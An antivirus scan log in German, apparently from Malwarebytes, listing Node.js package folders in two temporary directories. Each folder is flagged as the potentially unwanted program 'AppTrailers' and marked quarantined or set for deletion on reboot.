PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\tough-cookie\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\json-stringify-safe\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\underscore, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\async\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\json-stringify-safe, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\node-uuid\benchmark, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\async, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\tough-cookie\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\mime-types\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\node-uuid\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\node-uuid\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\forever-agent, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\tunnel-agent, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\examples, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\example, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\stringstream, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\tough-cookie, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\images, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\oauth-sign, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\mime-types, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\node-uuid, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\aws-sign2, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\caseless, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\block-stream, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\qs\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\qs\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\inherits, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\qs, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\examples, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\examples, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\storage, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\NW1312_20442, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\example, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\build, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\example, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\man\man3ctype, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\assert-plus, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\tools, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype\man, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\support, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1\tst, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\node_modules\punycode, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\mime-types, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\ctype, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules\asn1, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\bl\node_modules\readable-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\benchmark, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\graceful-fs, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\combined-stream\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules\async, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\http-signature\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\cryptiles, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\tough-cookie\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\node-uuid\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\json-stringify-safe\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\mkdirp, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\tar\node_modules\fstream\node_modules\rimraf, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\sntp, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\boom, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\form-data\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\request\node_modules\hawk\node_modules\hoek, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw9572_16434\node_modules\universal-analytics\node_modules\underscore, Löschen bei Neustart, [2862], [371306],1.0.2075
